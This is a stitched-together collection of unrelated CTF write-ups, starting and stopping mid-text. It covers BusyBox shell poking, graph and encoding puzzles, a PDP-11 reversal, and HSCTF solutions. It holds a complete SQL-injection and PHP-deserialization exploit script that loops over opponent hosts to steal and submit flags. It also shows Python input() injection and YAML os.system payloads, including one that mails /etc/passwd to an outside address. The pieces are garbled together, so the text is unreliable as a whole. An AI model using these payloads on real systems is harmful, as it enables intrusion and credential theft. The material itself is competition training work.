IFACE/IP Source interface or IP address -W SEC Seconds to wait for the first response (default 10) (after all -c CNT packets are sent) -w SEC Seconds until ping exits (default:infinite) (can exit earlier with -c CNT) -q Quiet, only display output at start and when finished -p HEXBYTE Pattern to use for payload> pidof> pidof -hpidof: unrecognized option: hBusyBox v1.29.3 (2019-01-24 07:45:07 UTC) multi-call binary. Usage: pidof [OPTIONS] [NAME]... List PIDs of all processes with names that match NAMEs -s Show only one PID -o PID Omit given pid Use %PPID to omit pid of pidof's parent> ps PID USER TIME COMMAND 1 1338 0:00 /bin/shell 19 1338 0:00 ps> psPID USER TIME COMMAND 1 1338 0:00 /bin/shell 20 1338 0:00 ps> ps -efPID USER TIME COMMAND 1 1338 0:00 /bin/shell 21 1338 0:00 ps -ef> setpriv BusyBox v1.29.3 (2019-01-24 07:45:07 UTC) multi-call binary. Usage: setpriv [OPTIONS] PROG [ARGS] Run PROG with different privilege settings -d,--dump Show current capabilities--nnp,--no-new-privs Ignore setuid/setgid bits and file capabilities--inh-caps CAP,CAP Set inheritable capabilities--ambient-caps CAP,CAP Set ambient capabilities > setprivBusyBox v1.29.3 (2019-01-24 07:45:07 UTC) multi-call binary. Usage: setpriv [OPTIONS] PROG [ARGS] Run PROG with different privilege settings -d,--dump Show current capabilities--nnp,--no-new-privs Ignore setuid/setgid bits and file capabilities--inh-caps CAP,CAP Set inheritable capabilities--ambient-caps CAP,CAP Set ambient capabilities> lzop -hlzop: unrecognized option: hBusyBox v1.29.3 (2019-01-24 07:45:07 UTC) multi-call binary. Usage: lzop [-cfUvd123456789CF] [FILE]... -1..9 Compression level -d Decompress -c Write to stdout -f Force -U Delete input files -v Verbose -F Don't store or verify checksum -C Also write checksum of compressed block> lzop -v README.flagREADME.flag: 4294964596% - replaced with README.flag.lzo> lsORME.flagREADME.flagREADME.flag.lzo> lzop -v -c README.flag.lzo?LZO ??LZO @??RNҡ 0 @*??l?CTF{4ll_D474_5hhB3_Fr33}> lzop -v -c README.flag?LZO 0 @???CTF{4ll_D474_5h4ll_B3_Fr33} GOTTEM: CTF{4ll_D474_5h4ll_B3_Fr33}
# Lines - Category: Crypto- Rating: Hard We have a graph problem on our hands. Since one of the nodes is an underscore, we can be sure that the correct path through the graph will spell out the flag.![lines](lines.png) We can already notice a few things about the graph - Most of the nodes have 2 edges connected to them, so they're probably show up only once (if they show up more times I'll mean that the same word shows up twice which is improbable)- `T` and `_` have more edges than the other nodes which probably means they show up twice in the graph- `8` only has one edge, so there's a good chance our flag either starts or ends there (or the flag will contain N8N which again, is unlikely) and the same goes for `1` At this point we can probably figure it out manually, but let's write some networkx code. # Solution First we set up our graph```pythonG = nx.Graph()nodes = string.ascii_uppercase + string.digits + "_"edges = { 'A':['C','T'], 'C':['A','7'], 'D':['T','0'], 'E':['Q','M'], 'G':['O','_'], 'K':['5','1'], 'M':['E','5'], 'N':['8','Q'], 'O':['G','0'], 'Q':['N','E'], 'S':['_','4'], 'T':['D','A','_','1'], 'W':['_','4'], '0':['O','D'], '1':['T','K','7'], '4':['W','S'], '5':['M','K'], '7':['1','C'], '8':['N'], '_':['G','S','T','W'],} for n in nodes: G.add_node(n)for k, v in edges.items(): for c in v: G.add_edge(k,c)```Add in some code swiped off stackoverflow```pythondef find_all_paths(graph, start, end): path = [] paths = [] queue = [(start, end, path)] while queue: start, end, path = queue.pop() print('Looking...', ''.join(path)) path = path + [start] if start == end: paths.append(''.join(path)) for node in set(graph[start]).difference(''.join(path)): queue.append((node, end, path)) return paths```Now let's find some valid candidates, keeping in mind that there will be underscores between words ```pythonprint("Start candidates---------------------")for n in nodes: for path in find_all_paths(G,n,'_'): print(''.join(path))print("Finish candidates---------------------")for n in nodes: for path in find_all_paths(G,'_',n): print(''.join(path))print("Middle candidates---------------------")for path in find_all_paths(G,'_','_'): print(''.join(path))``````bash$ python gen.py...('Looking...', '_G')('Looking...', '_GO')('Looking...', '_GO0')('Looking...', '_GO0D')('Looking...', '_GO0DT')('Looking...', '_GO0DT1')('Looking...', '_GO0DT17')('Looking...', '_GO0DT17C')('Looking...', '_GO0DT1')('Looking...', '_GO0DT1K')('Looking...', '_GO0DT1K5')('Looking...', '_GO0DT1K5M')('Looking...', '_GO0DT1K5ME')('Looking...', '_GO0DT1K5MEQ')('Looking...', '_GO0DT1K5MEQN')('Looking...', '_GO0DT')('Looking...', '_GO0DTA')('Looking...', '_GO0DTAC')('Looking...', '_GO0DTAC7')('Looking...', '_GO0DTAC71')('Looking...', '_GO0DTAC71K')('Looking...', '_GO0DTAC71K5')('Looking...', '_GO0DTAC71K5M')('Looking...', '_GO0DTAC71K5ME')('Looking...', '_GO0DTAC71K5MEQ')('Looking...', '_GO0DTAC71K5MEQN')('Looking...', '_GO0DTAC71K5MEQN8')...('Looking...', 'W4S_GO0DTAC')('Looking...', 'W4S_GO0DTAC7')('Looking...', 'W4S_GO0DTAC71')('Looking...', 'W4S_GO0DTAC71K')('Looking...', 'W4S_GO0DTAC71K5')('Looking...', 'W4S_GO0DTAC71K5M')('Looking...', 'W4S_GO0DTAC71K5ME')('Looking...', 'W4S_GO0DTAC71K5MEQ')('Looking...', 'W4S_GO0DTAC71K5MEQN')('Looking...', 'W4S_GO0DTAC71K5MEQN8')...('Looking...', '8NQEM5K1T')('Looking...', '8NQEM5K1T_')('Looking...', '8NQEM5K1T_G')('Looking...', '8NQEM5K1T_GO')('Looking...', '8NQEM5K1T_GO0')...```Using these results and retracing the graph manually,we have a few pieces to play with, namely `1T_W4S_GO0DTAC71K5`, `MEQN8`, and `8NQEM1T_GO0D`. A bit of guesswork later we find the flag `1t_w4s_go0dtac71k5meqn8`. Yes it was lowercase. Yes I know it doesn't make sense. # Flag `InnoCTF{1t_w4s_go0dtac71k5meqn8}`
ChallengeEnter Space-Time CoordinatesCategory: misc Ok well done. The console is on. It's asking for coordinates.Beating heavily on the console yields little results, but the only time anything changes on your display is when you put in numbers..So what numbers are you going to go for? You see the starship's logs, but is there a manual? Or should you just keep beating the console? Solution After unzipping the challenge there are 2 files inside: -rw-r--r-- 1 vuggo vuggo 247 Dec 31 1979 log.txt-rwxr-xr-x 1 vuggo vuggo 8800 Dec 31 1979 rand2 cat log.txt outputs some coordinates: 0: AC+79 3888{6652492084280_198129318435598}1: Pliamas Sos{276116074108949_243544040631356}2: Ophiuchus{11230026071572_273089684340955}3: Pax Memor -ne4456 Hi Pro{21455190336714_219250247519817}4: Camion Gyrin{235962764372832_269519420054142} Next: Run file on rand2 to see its an ELF and when you execute it, it outputs "Travel coordinator0: AC+79 3888 - 170996645254729, 2596345930523941: Pliamas Sos - 49739446453899, 2660030503385442: Ophiuchus - 4741117906980, 1479644935717863: Pax Memor -ne4456 Hi Pro - 2161525711268, 61931146355064: Camion Gyrin - 231452598712765, 2282182526902435: CTF - <REDACTED>" First thing I did was run this through a reverse engineering toobut then I realized its the 1st challenge beginner quest so strings rand2 and you see "Arrived at the flag. Congrats, your flag is: CTF{welcome_to_googlectf}"
Deaddrop was a HTTP service written in Erlang. It models a simple bulletin board system, where users can create topics and reply to them. Topics can either be public or private (where users have to know their name to access them). Two logical flaws and a path traversal-like vulnerability allow attackers to list the private topics and steal data. tl;dr:1. Replay `- topics`2. Publish `topics` to `- topics`3. Create and replay topic `./topics`
a language called "prolog".How to getshell? try this:https://www.swi-prolog.org/pldoc/doc_for?object=shell%3Ashell/0 so commands wil be these:![command](https://lh3.googleusercontent.com/f9oXumpCjvJxVnHU14Xcu5DZVoBDmlKqC4Q_W88G351Disd0jQUo_yD5FHzB8KwJjAIu4iz5OSKSIrXQ7ATegXsGWGSi7ZlFY3N3qWpP3UZAhE22bC1dQrtUB1xqFvwb1QeYuehCKcSOWlyG0A2jSd8yEXq6d1R_bhZrlTdGqkZugivHa5SDRywt8PFEMAXHp6dWa48I_HgfYPyq0ADKvN8n1ZBk7KzFrZLrt-jzVk_F7Ohb33iB6wQ8gIz9cBdejxa1m_08NU_mIOmK353RrzXfbev7Bo6rMAIh9d-PJ2kT0C8RrIi6unHTuNKh5iB9-9B-euhRyGmc10V9CUJX2d-gmnaEKuimZpCmmwOX2wErC-YIfjvHispZ5eGo5PDgFzjObY7KoBGQj0vx0Rl_CAgX_jvt_z9yw8nb08XZoyY30DMgx2F5GIP3Kwk-37fF5-Ec3Btd5aRJ-1x6B9YblRMbsLC8sNiu37H9fOxk2wcLvKEuqJ2vk0fcoaj8ZKccKeKDAeT81lzhDW7G1ghbIWyszTsfUyjJlLDebWIwgjQkxLNrsq_VKgPsxCYmr1HqnHwqVGSkc_yOgwuOV1627lM6JMlsIPVvNi7H)
# Hex64 - Category: PPC- Rating: Easy We are given a huge file that looks like some base64 ```...YTQ0NjMzNTRlNDc1NTMwNGU0NDU1MzE0ZTMyNDUzMDVhNDQ1NTMwNGU1NDU1N2E0ZTU0NTI2YzRlNTQ1MTMxNGQ1NDRkNzg0ZTQ3NTEzMTRlNDQ1OTdhNGQ3YTUxMzA1YTU0NTEzMzRlNTQ0NTMzNTk1NDUyNmI0ZTZkNDUzMTRlNTQ2MzM0NGU0NzU1N2E0ZDZhNTEzMTRkN2E0NTMxNGY1NDU1MzA0ZTU0NDUzMzRmNDQ1MjZiNGQ3YTQ5MzE0ZDU0NjQ2ODRlNTc0NTMwNGQ1NDRlNmI0ZDMyNTEzZA==``` ```bash$ base64 -d Hex64 | tail -c 300 526c4e4463314e544d774e4755304e4455314e7a67305a4464684e44557a4d4456684e5451305a4463354e4755304e4455314e3245305a4455304e54557a4e54526c4e5451314d544d784e4751314e44597a4d7a51305a5451334e5445335954526b4e6d45314e5463344e47557a4d6a51314d7a45314f5455304e5445334f44526b4d7a49314d5464684e5745304d544e6b4d32513d``` After base64 decoding it we get some hex values that are in the printable range, so let's fire up python and see what it says ```pythonPython 2.7.15+ (default, Nov 27 2018, 23:36:35)[GCC 7.3.0] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> c = open('Hex64', 'r').read().decode('base64').decode('hex')>>> c[-300:]'NGU2YTY3MzA1YTU0NTUzMDRlNTQ1NTMzNTk1NDUyNmI0ZTQ0NTEzMTRlNmE1OTM0NGU0NzU1MzA0ZTQ0NTU3ODRkN2E0MTMxNTk1NDUxMzA0ZTZhNGQ3YTRlNTQ1MjZjNGU0NDYzMzE0ZTU0NGQ3ODRlNDc1NTMwNGU0NDU1Nzg0ZDdhNDUzMDVhNTQ0ZDc5NGU0NDU1N2E0ZDU0NTUzNTRlNTQ1MTMxNGQ1NDYzMzQ0ZTQ3NTE3YTRkNmE1NTc4NGUzMjQ1MzE1OTU0NTE3ODRkMzI1MTdhNWE0MTNkM2Q='>>>``` It looks like more base64 again. We will have to script this. # Solution ```pythonc = open('Hex64', 'r').read()i = 0while "InnoCTF" not in c: if i % 2 == 0: c = c.decode('base64') else: c = c.decode('hex') i += 1print c``` # Flag `InnoCTF{why_s0_larg3}`
# Challenge `php-foo` ## Application: The application stores secret records with the following opitons: ``` Welcome! You can do the following: 0) encrypt 1) decrypt 2) store new record 3) retrieve your record 4) exit What do you want to do?``` if we look into the code from `troll.php`, we see that messages wont be encrypted at all:![not encrypted](not_crypted.png) furthermore we see a possible injection in `crypto.php`![not encrypted](injection.png) ## Exploit: to exploit the vulernability, we decided to do a multistage payload. 1. Insert an entry of our liking with a primary key of our liking.2. Get the primary key of the latest entry starting with "FLAG" and write it in the entry of step 1.3. use the vlaue of entry created in step 1. and updated in step 2. as primary key to retreive the data.4. submit the flag to the flagserver. the injection strings will look like that: ```pythonstage1 = 'insert into record values("%s","foo","12");' % _pkeystage2 = 'update record set record = (select identifier from record where record like "FLG%%" order by time desc limit 1) where identifier = "%s" ;' % _pkeystage3 = 'select record from record where identifier = "%s"' % _pkey``` the stages need some additional wrapping which is done by the following function: ```pythondef getStage(input): return "baar', 'foo'); %s ; insert into record values ('foobar6','foobar6" % input``` in step 3, we actually have to somehow "serialize" the datawhich we did with the following function: ```pythondef bake64(input): _size = len(input) temp = 'a:1:{i:0;O:6:"Record":1:{s:10:"identifier";s:%s:"%s";}}' % (_size,input) return base64.b64encode(temp)``` to not interfere with previous runs of the exploit or another instance of our exploit we generate a timestamp on our primary key ```python_pkey = 're1n3r'+str(int(time.time()))``` ## Final exploit ```pythonfrom pwn import *import requestsimport base64import timefrom requests.auth import HTTPBasicAuthimport itertoolsimport tracebackimport randomcontext.log_level = 'info' _pkey = 're1n3r'+str(int(time.time())) stage1 = 'insert into record values("%s","foo","12");' % _pkeystage2 = 'update record set record = (select identifier from record where record like "FLG%%" order by time desc limit 1) where identifier = "%s" ;' % _pkeystage3 = 'select record from record where identifier = "%s"' % _pkey def bake64(input): _size = len(input) temp = 'a:1:{i:0;O:6:"Record":1:{s:10:"identifier";s:%s:"%s";}}' % (_size,input) return base64.b64encode(temp) def getStage(input): return "baar', 'foo'); %s ; insert into record values ('foobar6','foobar6" % input while True: resp_machines = requests.get('https://scoreboard.ctf.cinsects.de/ctf/targets/', auth=HTTPBasicAuth('Re1n3r', 'lolwut'),verify=False) data_machines = resp_machines.json() # specify service service_go = 'go-foo' # store all flags here flags = [] test = data_machines[service_go].items() random.shuffle(test) # for each machine for team, value in test : ip = value[0] try: t = remote(ip, 1338,timeout=20) for limit in itertools.count(): t.recvuntil('What do you want to do?') t.sendline('2') t.recvuntil('add: ') #insert cyber123 t.sendline(getStage(stage1)) t.recvuntil('What do you want to do?') t.sendline('2') t.recvuntil('add: ') #get actual flag key and write it into cyber123 pkey t.sendline(getStage(stage2)) t.recvuntil('What do you want to do?') t.sendline('3') r1 = t.recvuntil('identifier: ') print r1 #retreive key from cyber123 pkey t.sendline(bake64(_pkey)) print("stage 3:") flagkey = t.recvline() print("flagkey: %s" % flagkey) flagkey = flagkey.replace('\n','').replace('\r','') pprint(flagkey) t.recvuntil('What do you want to do?') t.sendline('3') t.sendline(flagkey) keys = t.recvuntil("Welcome") keys = keys.split(":")[2].strip().replace('\n','').replace('\r','').replace('Welcome','') print("keys: %r" % keys) ########## t.recvuntil('What do you want to do?') t.sendline('3') print("SENDLINE 3") t.sendline(bake64(keys)) myflag = t.recvuntil("Welcome!") print("WELCOME AGAIN") print("flag: %r" % myflag) t.close() print("send flag: %r" % myflag) mo = re.search(r'\b(FLG[0-9a-zA-Z]{30})\b', myflag) if mo: actual_flag = mo.group(0) url = 'https://scoreboard.ctf.cinsects.de/ctf/submit_flag/' resp_flags = requests.post(url, auth=HTTPBasicAuth('Re1n3r', 'lolwut'), json={'flags': [actual_flag]}) print(resp_flags.text) except Exception as e: #traceback.print_exc() print("shit... %s" % e ) continue time.sleep(300) ```
A bit of googling (`\e(0` aka `"0x1b 0x28 0x30"`) shows that we're dealing with the [DEC Special Graphics Character Set](http://fileformats.archiveteam.org/wiki/DEC_Special_Graphics_Character_Set). What the terminal shows is ASCII interpreted as characters in this encoding (the attached text file is UTF-8 encoded), so something like `iconv -t THIS_WEIRD_ENCODING_NAME` would give back the original text; however, this encoding doesn't seem to be something common and supported by tools, so I wrote a simple Python script based on the conversion table provided above and got the flag. ```python#!/usr/bin/env python3 def convert(c): d = { '\u00a0': '\x5f', '\u25c6': '\x60', '\u2592': '\x61', '\u2409': '\x62', '\u240c': '\x63', '\u240d': '\x64', '\u240a': '\x65', '\u00b0': '\x66', '\u00b1': '\x67', '\u2424': '\x68', '\u240b': '\x69', '\u2518': '\x6a', '\u2510': '\x6b', '\u250c': '\x6c', '\u2514': '\x6d', '\u253c': '\x6e', '\u23ba': '\x6f', '\u23bb': '\x70', '\u2500': '\x71', '\u23bc': '\x72', '\u23bd': '\x73', '\u251c': '\x74', '\u2524': '\x75', '\u2534': '\x76', '\u252c': '\x77', '\u2502': '\x78', '\u2264': '\x79', '\u2265': '\x7a', '\u03c0': '\x7b', '\u2260': '\x7c', '\u00a3': '\x7d', '\u00b7': '\x7e', } return d.get(c, c)with open('honey_help.txt', encoding='utf-8') as f: print(''.join(convert(c) for c in f.read()))``` Flag: `cybrics{h0ly_cr4p_1s_this_al13ni$h_0r_w4t?}`
```.MCALL .TTYOUT,.EXITSTART: mov #MSG r1 mov #0d r2 mov #32d r3loop: mov #MSG r1 add r2 r1 movb (r1) r0 .TTYOUT sub #1d r3 cmp #0 r3 beq DONE add #33d r2 swab r2 clrb r2 swab r2 br loop DONE: .EXIT MSG: .ascii "cp33AI9~p78f8h1UcspOtKMQbxSKdq~^0yANxbnN)d}k&6eUNr66UK7Hsk_uFSb5#9b&PjV5_8phe7C#CLc#<QSr0sb6{%NC8G|ra!YJyaG_~RfV3sw_&SW~}((_1>rh0dMzi><i6)wPgxiCzJJVd8CsGkT^p>_KXGxv1cIs1q(QwpnONOU9PtP35JJ5<hlsThB{uCs4knEJxGgzpI&u)1d{4<098KpXrLko{Tn{gY<|EjH_ez{z)j)_3t(|13Y}".end START```we have given above assembly of PDP11after reading it i convert its equivallent reverse python Script which print the flag ```s="cp33AI9~p78f8h1UcspOtKMQbxSKdq~^0yANxbnN)d}k&6eUNr66UK7Hsk_uFSb5#9b&PjV5_8phe7C#CLc#<QSr0sb6{%NC8G|ra!YJyaG_~RfV3sw_&SW~}((_1>rh0dMzi><i6)wPgxiCzJJVd8CsGkT^p>_KXGxv1cIs1q(QwpnONOU9PtP35JJ5<hlsThB{uCs4knEJxGgzpI&u)1d{4<098KpXrLko{Tn{gY<|EjH_ez{z)j)_3t(|13Y}"i=0j=32o=""while j>0: o+=(s[i%len(s)]) i+=33 j-=1print(o)```run it and you get the flag cybrics{pdp_gpg_crc_dtd_bkb_php}
A High School CTF event. We tried to solve challenges as much as possible we can and as a result we secured 23rd position globally. ![image](assets/screencapture-ctf-hsctf-challenges-2019-06-08-12_20_54.png) As you can see from the image we lacks in binary exploitation or pwn challenges field.If anyone interested can contact us :smiley:. Challenge Name | Points | Flag------------ | ------------- | --------------- [A Simple Conversation](#a-simple-conversation-)| 158| hsctf{plz_u5e_pyth0n_3} |[Broken Repl](#broken_repl-) | 407| hsctf{dont_you_love_parsers} |[Hidden Flag](#hidden-flag-) | 290 | hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632} |[64+word](#64word--) | 421| hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?} |[Broken gps](#broken-gps-) | 280| hsctf{garminesuckz} |[Real Reversal](#realreversal-) | 274| hsctf{utf8_for_the_win} |[Json Info](#jsoninfo-) | 427| hsctf{JS0N_or_Y4ML} |[Massive Rsa](#massive-rsa-) | 256 | hsctf{forg0t_t0_mult1ply_prim3s} |[Really Secure Algorithm](#really-secure-algorithm-) | 314 | hsctf{square_number_time} |[Tux Kitchen](#tux-kitchen-) | 401 | hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621} |[I Thought Trig Was Really Easy](#i-thought-trig-was-really-easy-) | 374 |hsctf{:hyperthonk:} |[Tux Talk Show 2019](#tux-talk-show-2019) | 406 | hsctf{n1ce_j0b_w4th_r4ndom_gue33ing} |[Bitecode](#bitecode--) | 377|hsctf{wH04_u_r_2_pr0_4_th1$} |[MD5--](#md5---) | 230 | hsctf{php_type_juggling_is_fun} |[Networked Password](#networked-password--) | 314 | hsctf{sm0l_fl4g} |[Double Trouble](#double-trouble-)| 397| hsctf{koalasarethecutestaren'tthey?} So I will try to discuss the challenges i loved the *most* here: # **MISC** ## A Simple Conversation-:> description: ### Solution: On looking to the section of source code we see ```pythonprint("What's your age?") age = input("> ") sleep(1) ```Then I try to think that when it parses the input to input() function then it tries to evaluate it first that is it string , dictionary ,tuple or etc.? So guessing the flag on the server I try to send the arguments as you can see. ```streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag").read()Traceback (most recent call last): File "talk.py", line 18, in <module> age = input("> ") File "<string>", line 1, in <module>IOError: [Errno 2] No such file or directory: 'flag'streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag.txt").read()Wow!Sometimes I wish I was hsctf{plz_u5e_pyth0n_3}...```There you can see the flag:`hsctf{plz_u5e_pyth0n_3}` ## Broken_Repl-:> description: ### Solution: ```python try: # try to compile the input code = compile(line, "<input>", "exec") # compile the line of input except (OverflowError, SyntaxError, ValueError, TypeError, RecursionError) as e: # user input was bad print("there was an error in your code:", e) # notify the user of the error if False: exec(code) # run the code # TODO: find replacement for exec # TODO: exec is unsafeexcept MemoryError: # we ran out of memory # uh oh # lets remove the flag to clear up some memory print(flag) # log the flag so it is not lost```You can see that you have to cause memory error only. So my teammate Lucas looked on web and finds out [this](https://stackoverflow.com/questions/50709371/ast-literal-eval-memory-error-on-nested-list).So you can see that we can cause memory error from nested list.Great learning :smiley: ```pythonecho "[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]" | nc misc.hsctf.com 8550>>> s_push: parser stack overflowhsctf{dont_you_love_parsers}```There is the flag:`hsctf{dont_you_love_parsers}` ## Hidden Flag-:> description: ### Solution: I opened up my hexeditor HXD a great tool to change and view the hexes of file quite easily and I see messed up bytes in beginning. Then at the end of the file i see some text `key is invisible`. So then i realise that the bytes must be xored with the key and we got it by this [script](assets/misc/fixchall.py). ```pythonimport binasciifrom itertools import cycle,izip f=open("chall.png")g=(f.read())key="invisible"ciphered = ''.join(chr(ord(c)^ord(k)) for c,k in izip(g, cycle(key)))l=open("fixed.png","a+")l.write(ciphered) ```That's it :smiley: ## 64+Word -:> description: ### Solution :So from the description we see the word search and challenge name is 64+. So we need to do base64 word search of flag.Be sure as the base64 encode texts are multiple of 4 . So choose the texts accordingly.Here is the [Script](/assets/misc/ord64.py) ```pythonfrom base64 import *file=open("64word.txt")data=file.read().split("\n")o=0while o<100: g=data[o:] for q in range(100): j=q s="" for i in g: if j>=len(i): break s+=i[j] j+=1 possible_text=(b64decode(s[:4*(len(s)//4)])) if "hsctf{" in possible_text[:6]: end_ind=possible_text.find('}')+1 print("The flag is "+ possible_text[:end_ind] ) exit(0) o+=1 ``` then there is the flag:`hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}` ## Broken gps-:> description:Input Format: A challenge to test some coding skills. ### Solution:Here's the [script](assets/misc/dir_gps.py) thats explain it all. ```pythonimport math suffix=".txt"flag=""dirs=["east","west","south","north","northwest","northeast","southeast","southwest"]for i in range(1,13): up=0 right=0 filename=str(i)+suffix f=open(filename) h=(f.read()).split() for q in range(int(h[0])): pos=dirs.index(h[q+1]) if pos==0 or pos==5 or pos==6: right+=1 if pos==1 or pos==4 or pos==7: right-=1 if pos==3 or pos==4 or pos==5: up+=1 if pos==2 or pos==6 or pos==7: up-=1 flag+=chr(round(math.sqrt(up*up+right*right)*2)%26+97)print('hsctf{'+flag+'}') ```and here is the output:>hsctf{garminesuckz} another script as well written by teammate in a more formal way :```pythonimport numpy as npfrom math import sqrt dict_direction = { "north": np.array([ 0.0, 1.0]), "northeast": np.array([ 1.0, 1.0]), "northwest": np.array([-1.0, 1.0]), "east": np.array([ 1.0, 0.0]), "south": np.array([ 0.0,-1.0]), "southeast": np.array([ 1.0,-1.0]), "southwest": np.array([-1.0,-1.0]), "west": np.array([-1.0, 0.0])} def distance(point1, point2): x1, y1 = point1 x2, y2 = point2 return sqrt((x2 - x1)**2 + (y2 - y1)**2) flag = "" for filename in range(1,13): position_wrong = np.array([0.0, 0.0]) position_right = np.array([0.0, 0.0]) with open(f"{filename}.txt") as f: coords = f.read().strip().split('\n')[1:] for coord in coords: position_wrong += dict_direction[coord] position_right -= dict_direction[coord] flag += chr(ord('a') + round(distance(position_wrong, position_right)) % 26) print(f"hsctf{{{flag}}}")``` ## RealReversal-:> description: ### Solution:On opening file we see Reversing the file means reversing the hexes.So one liner will do that ```open("reversed_reversed.txt", "wb").write(open("reversed.txt", "rb").read()[::-1])``` and on opening reversed file you see utf-8 chars Explanation:Why it happens that on the reverse bytes we can't see any characters, because >UTF-8 is a variable width character encoding capable of encoding all 1,112,064 valid code points in Unicode using one to four 8-bit bytes. So on reversing 8 bytes it messed up as it reversed in two parts of four and four.Thus resulting in random chars.So you can see the flag now in reverse order:`hsctf{utf8_for_the_win}` ## JsonInfo-:> description: ### Solution:Trying few thing we see that it accepts string and shows that it's json or give the error otherwise.So we quite stuck on thinking that what kind of error we have to produce.Then googling skills had to come as it is misc, so we found a beautiful [link](https://bzdww.com/article/164589/) and in section 5 we see yaml.loadand here is the warning: >Refer to the PyYAML documentation: >Warning: It is not safe to call yaml.load with data received from an untrusted source! Yaml.load is just as powerful as pickle.load, so you can call any Python function.In this beautiful example found in the popular Python project Ansible , you can provide this value as (valid) YAML to Ansible Vault, which calls os.system() with the parameters provided in the file. >!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]Therefore, effectively loading YAML files from user-supplied values ​​will open the door for attacks. >repair: >Always use yaml.safe_load unless you have a very good reason. So we tried to do these thing as instructed here to see if the vulnerability is here: ```Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat /etc/passwd "]root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsyslog:x:101:102::/home/syslog:/usr/sbin/nologinType int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info! ```So, yeah the vulnerability is here, Great!!! ```streaker@DESKTOP-DS7FIJL:$ nc -q 1 misc.hsctf.com 9999Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat flag.txt"]hsctf{JS0N_or_Y4ML}Type int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!```The flag is:`hsctf{JS0N_or_Y4ML}` # **CRYPTO** ## Massive Rsa-:> description: ### Solution: We are given with large modulus and ciphertext```n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551e = 65537c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489